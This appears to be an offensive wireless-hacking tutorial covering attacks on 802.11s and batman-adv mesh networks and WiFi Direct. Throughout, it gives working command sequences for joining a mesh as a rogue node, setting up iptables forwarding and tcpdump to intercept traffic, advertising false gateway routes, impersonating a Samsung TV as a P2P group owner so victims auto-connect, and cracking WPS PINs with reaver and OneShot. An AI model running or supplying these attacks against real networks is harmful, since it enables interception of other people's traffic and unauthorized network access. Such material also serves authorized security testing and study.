Network Architectures

Mesh Network Attacks

WiFi mesh networks (802.11s) create self-organizing, self-healing networks where nodes communicate directly and route traffic for each other. Unlike traditional AP-client architectures, mesh networks have no central point—every node can be both client and router. This distributed nature introduces unique attack vectors beyond standard WiFi hacking.

Mesh networks use protocols like HWMP (Hybrid Wireless Mesh Protocol) for path discovery and routing. Attackers can exploit these routing protocols to intercept traffic, create routing loops, or isolate nodes. Additionally, many consumer mesh systems (Google WiFi, Eero, etc.) use proprietary protocols with undocumented security mechanisms that may contain vulnerabilities.

WiFi Mesh (802.11s) Fundamentals

802.11s defines Mesh Points (MPs) that form the backbone, Mesh APs (MAPs) that provide client access, and Mesh Portal Points (MPPs) that bridge to external networks. Nodes discover neighbors via Beacon/Probe frames containing mesh-specific information elements. Path selection uses HWMP which combines proactive (tree-based) and reactive (on-demand) routing similar to AODV.

# Mesh network reconnaissance
sudo iw dev wlan0 scan | grep -A 10 "mesh"

# Check for HWMP (Hybrid Wireless Mesh Protocol)
sudo iw dev wlan0 set type mp  # Mesh point mode
sudo iw dev wlan0 mesh join <MESH_ID>

# View mesh peers
sudo iw dev wlan0 mpath dump

# Attack vectors:
# 1. Rogue mesh node (evil twin for mesh)
# 2. Routing manipulation
# 3. Selective forwarding attack
# 4. Sinkhole attack (attract all traffic)

Rogue Mesh Node Attack

The mesh equivalent of an evil twin AP. By creating a rogue mesh point that appears legitimate, you can join the mesh and intercept traffic. If the mesh uses weak or no authentication (common in community networks), joining is trivial. Once inside, you become part of the routing infrastructure and can selectively forward, drop, or modify packets passing through your node.

Attack strategy: Place your rogue node in a location where it has good signal to multiple legitimate nodes. Advertise better metrics (lower path cost, higher bandwidth) to attract traffic routing through your node. Use iptables to NAT/forward traffic while logging or modifying data. This works especially well in public mesh networks like community WiFi where nodes automatically peer with neighbors.

# Setup rogue mesh access point
sudo iw dev wlan0 interface add mesh0 type mp
sudo iw dev mesh0 set channel <CHANNEL>
sudo ip link set mesh0 up
sudo iw dev mesh0 mesh join <MESH_ID>

# Enable forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Setup MitM
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i mesh0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o mesh0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Intercept traffic
sudo tcpdump -i mesh0 -w mesh-intercept.pcap

Batman-adv Exploitation

# Batman-adv (Better Approach To Mobile Adhoc Networking)
# Used in community mesh networks

# Load module
sudo modprobe batman-adv

# Add interface to batman
sudo batctl if add wlan0
sudo ip link set up dev bat0

# Scan for batman nodes
sudo batctl o  # Originators (nodes)
sudo batctl n  # Neighbors

# Attack: Announce false routes
sudo batctl gw_mode server  # Declare as gateway
# Traffic routed through attacker node

WiFi Direct Exploitation

WiFi Direct (also called WiFi P2P) enables devices to connect directly without a traditional access point. One device acts as a "Group Owner" (GO) providing network services, while others join as clients. WiFi Direct is ubiquitous in modern devices—used for screen casting (Miracast), file transfer (Samsung Direct Share), printer connections, and smart TV apps.

Security-wise, WiFi Direct inherits all WPA2 vulnerabilities plus additional attack surface. Most critically: WiFi Direct uses WPS (WiFi Protected Setup) for initial pairing, which means all WPS attacks (Pixie Dust, PIN brute force) work against P2P connections. Many implementations use weak or default PINs, and users often accept P2P connections without verification, enabling rogue device attacks.

WiFi Direct Architecture

WiFi Direct operates in two roles: Group Owner (GO) acts like an AP (provides DHCP, manages connections), while clients connect to the GO. Devices negotiate roles through the Group Owner Negotiation protocol—each advertises an "Intent Value" and the higher value becomes GO. Alternatively, one device can declare itself as "Autonomous GO" (always acts as GO).

Connection methods: Standard (exchange WPS PIN), PBC (push button), Label (printed PIN), Display (show PIN), Keypad (enter PIN), and NFC (out-of-band). The most common attack vector is WPS PIN—many devices use computed PINs based on MAC address or have hardcoded defaults like 12345670.

1. WiFi Direct Discovery

# Scan for WiFi Direct devices
sudo iw dev wlan0 scan | grep -A 5 "P2P"

# wpa_cli P2P commands
wpa_cli -i wlan0
> p2p_find
> p2p_peers
> p2p_peer <MAC>  # Device details

# Alternative: wpa_supplicant config
ctrl_interface=/var/run/wpa_supplicant
update_config=1
device_name=RogueP2P
p2p_go_ht40=1

# Start P2P discovery
sudo wpa_cli -i wlan0 p2p_find

2. WiFi Direct Impersonation

# Create rogue P2P device (evil twin for P2P)
# wpa_supplicant config for P2P GO (Group Owner)

network={
  ssid="DIRECT-xy-SamsungTV"
  mode=3  # P2P GO
  proto=RSN
  key_mgmt=WPA-PSK
  pairwise=CCMP
  group=CCMP
  psk="12345678"
  disabled=2
}

# Start as P2P GO
sudo wpa_supplicant -i wlan0 -c p2p.conf -B
sudo wpa_cli -i wlan0 p2p_group_add persistent=0

# Victims may auto-connect if device name matches known device

3. WiFi Direct WPS Attack

# WiFi Direct uses WPS, same vulnerabilities apply
# Get P2P GO MAC
wpa_cli -i wlan0 p2p_peers

# Pixie Dust attack on P2P GO
sudo reaver -i wlan0mon -b <P2P_MAC> -c <CHANNEL> -K -vv

# Or use OneShot
sudo python3 oneshot.py -i wlan0mon -b <P2P_MAC> -K

# Once cracked, connect:
wpa_cli -i wlan0 p2p_connect <MAC> <PIN> join